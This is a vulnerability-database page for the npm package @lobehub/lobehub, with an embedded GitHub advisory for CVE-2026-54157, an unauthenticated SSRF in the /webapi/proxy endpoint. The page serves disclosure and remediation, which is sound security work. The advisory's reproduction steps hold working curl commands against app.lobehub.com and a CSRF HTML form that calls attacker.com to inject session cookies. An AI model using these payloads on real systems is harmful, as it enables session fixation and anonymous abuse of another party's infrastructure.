Vulnerabilities in pkg:npm/@lobehub/lobehub
PACKAGECVE-2026-54157 is a CRITICAL (CVSS 9.0) unauthenticated ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting LobeHub libraries in the npm ecosystem. The issue involves unauthenticated ssrf in `/webapi/proxy`. Remediation is available by upgrading affected packages to version 2.1.57.
pkg:npm/@lobehub/lobehub
Vulnerability advisories affecting package pkg:npm/@lobehub/lobehub. Select an advisory below to view technical details or fixes.
| Advisory ID | CVE / NVD | Severity | Summary |
|---|---|---|---|
| GHSA-xmwj-c75x-6346 | CVE-2026-54157 | CRITICAL | LobeHub: Unauthenticated SSRF in `/webapi/proxy` |
| GHSA-xq4x-622m-q8fq | CVE-2026-42045 | MODERATE | LobeHub has a Cross-Site Scripting issue that escalates to Remote Code Execution |
| GHSA-5mwj-v5jw-5c97 | CVE-2026-39411 | MODERATE | LobeHub: Unauthenticated authentication bypass on `webapi` routes via forgeable `X-lobe-chat-auth` header |
CVE-2026-54157 at a Glance
Security Impact
CVSS: 9.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H).
How to Fix CVE-2026-54157
To remediate this vulnerability, upgrade all affected LobeHub dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @lobehub/lobehub@2.1.57
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @lobehub/lobehub
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-54157, inspect your project dependencies using npm:
npm ls @lobehub/lobehub
Analyze the terminal output to locate any version of LobeHub in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.57), your application is affected.
Note: The npm ls @lobehub/lobehub command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In LobeHub, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54157 Affected LobeHub Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@lobehub/lobehub
|
npm |
< 2.1.57
|
2.1.57
|
References
Frequently Asked Questions
What is CVE-2026-54157?
Which LobeHub versions are affected?
What version fixes CVE-2026-54157?
Is @lobehub/lobehub affected?
What is the CVSS score of CVE-2026-54157?
What CWE is associated with CVE-2026-54157?
How can I check npm dependencies for CVE-2026-54157?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xmwj-c75x-6346",
"modified" : "2026-07-20T21:01:54Z",
"published" : "2026-06-16T20:15:57Z",
"aliases" : [ "CVE-2026-54157" ],
"summary" : "LobeHub: Unauthenticated SSRF in `/webapi/proxy`",
"details" : "## Unauthenticated SSRF in /webapi/proxy allows anyone to proxy requests and inject cookies on lobehub.com\n\n## Summary\n\nThe `/webapi/proxy` endpoint on app.lobehub.com accepts a URL in the POST body and fetches it server-side without any authentication. This is the same proxy code that was vulnerable in CVE-2024-32964, where `/api/proxy` was fixed by adding auth middleware. The `/webapi/proxy` route was never secured — it is the only webapi route missing the `checkAuth()` wrapper. An attacker can use this to make arbitrary outbound requests from LobeHub's infrastructure, leak Vercel deployment details, and inject cookies on the `lobehub.com` domain through reflected `Set-Cookie` headers.\n\n## Vulnerability Details\n\n**Type:** Server-Side Request Forgery (CWE-918)\n**Affected Endpoint:** POST /webapi/proxy\n**Vulnerable File:** `src/app/(backend)/webapi/proxy/route.ts`\n\nThe route handler reads a URL from the request body and passes it to `ssrfSafeFetch()` without calling `checkAuth()` first. Every other webapi route (`/webapi/chat/*`, `/webapi/models/*`, `/webapi/create-image/*`) wraps the handler in `checkAuth()`, but the proxy does not. The Next.js middleware also skips `/webapi/` routes — `defaultMiddleware()` calls `NextResponse.next()` for any path starting with `/webapi/`, so neither the route handler nor the middleware performs authentication.\n\n## Steps to Reproduce\n\n**Fetch an external URL through the proxy (no auth, no cookies, no tokens):**\n\n```\ncurl -X POST -H \"Content-Type: text/plain;charset=UTF-8\" \\\n -d \"https://httpbin.org/ip\" \\\n \"https://app.lobehub.com/webapi/proxy\"\n```\n<img width=\"1069\" height=\"297\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4fa7ffe9-fe4f-4752-875a-cb3fa79c3c18\" />\n\nResponse:\n\n```json\n{\"origin\": \"3.14.141.44\"}\n```\n\nThis is the IP of LobeHub's Vercel serverless function. The proxy fetched httpbin.org and returned the full response body.\n\n**Inject a cookie on the lobehub.com domain:**\n\n```\ncurl -D- -X POST -H \"Content-Type: text/plain;charset=UTF-8\" \\\n -d \"https://httpbin.org/response-headers?Set-Cookie=__session%3Dmalicious%3BPath%3D%2F%3BDomain%3Dlobehub.com%3BSecure%3BHttpOnly\" \\\n \"https://app.lobehub.com/webapi/proxy\"\n```\n\nThe response headers include:\n\n```\nset-cookie: __session=malicious;Path=/;Domain=lobehub.com;Secure;HttpOnly\n```\n<img width=\"1215\" height=\"340\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f0710685-edb8-4cc9-8162-27f0ba911903\" />\n\nThe proxy passes upstream response headers straight through (only stripping `Content-Encoding` and `Content-Length`). An attacker controls the upstream server, so they control which `Set-Cookie` headers are reflected. The `__session` and `__clerk_db_jwt` cookies are both injectable — these are the cookie names used by Clerk for authentication.\n\n**CSRF to cookie injection (no user interaction beyond visiting a page):**\n\nAn attacker hosts the following HTML. When a victim opens it, the browser submits a form to the proxy, which fetches the attacker's server. The attacker's server responds with a `Set-Cookie` header, and the proxy reflects it. The victim's browser sets the cookie on `lobehub.com` because the response comes from `app.lobehub.com`.\n\n```html\n<form id=f action=\"https://app.lobehub.com/webapi/proxy\"\n method=POST enctype=\"text/plain\">\n <input name=\"https://attacker.com/inject?x\" value=\"\">\n</form>\n<script>f.submit()</script>\n```\n\nThe attacker's server at `/inject?x=` responds with `Set-Cookie: __session=KNOWN_VALUE; Path=/; Domain=lobehub.com; Secure; HttpOnly`. The proxy reflects this header and the victim's browser stores the cookie.\n\n## Impact\n\nThe proxy is fully unauthenticated and returns the complete response from any external URL. I confirmed the following on app.lobehub.com:\n\nAn attacker can inject authentication cookies (`__session`, `__clerk_db_jwt`, `__client_uat`) on the `lobehub.com` domain by chaining CSRF with the proxy's reflected `Set-Cookie` headers. If LobeHub uses Clerk for session management, this is a session fixation vector — the attacker sets a known session value before the victim logs in, then uses that same value to access the victim's session.\n\nThe proxy also leaks Vercel infrastructure details. The `Traceparent` and `X-Vercel-Id` headers from internal request tracing appear in every proxied response. The server's egress IP is exposed. Vercel Edge Config and the Vercel API are both reachable through the proxy (they return auth errors, not SSRF blocks), which means the proxy reaches Vercel's management plane.\n\nThe endpoint has no rate limiting. An attacker can use LobeHub's infrastructure as an anonymous proxy for scanning, phishing, or abusing IP-based trust relationships with third-party services.\n\n## Recommended Fix\n\nAdd `checkAuth()` to the proxy route, matching every other webapi route:\n\n```diff\n- export const POST = async (req: Request) => {\n+ export const POST = checkAuth(async (req, { userId }) => {\n```\n\nIf the proxy is only needed for client-side URL previews, consider removing the endpoint entirely and handling previews in the browser.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@lobehub/lobehub"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.1.57"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.1.56"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lobehub/lobehub/security/advisories/GHSA-xmwj-c75x-6346"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-54157"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lobehub/lobehub"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-16T20:15:57Z",
"nvd_published_at" : "2026-06-23T18:18:07Z"
}
}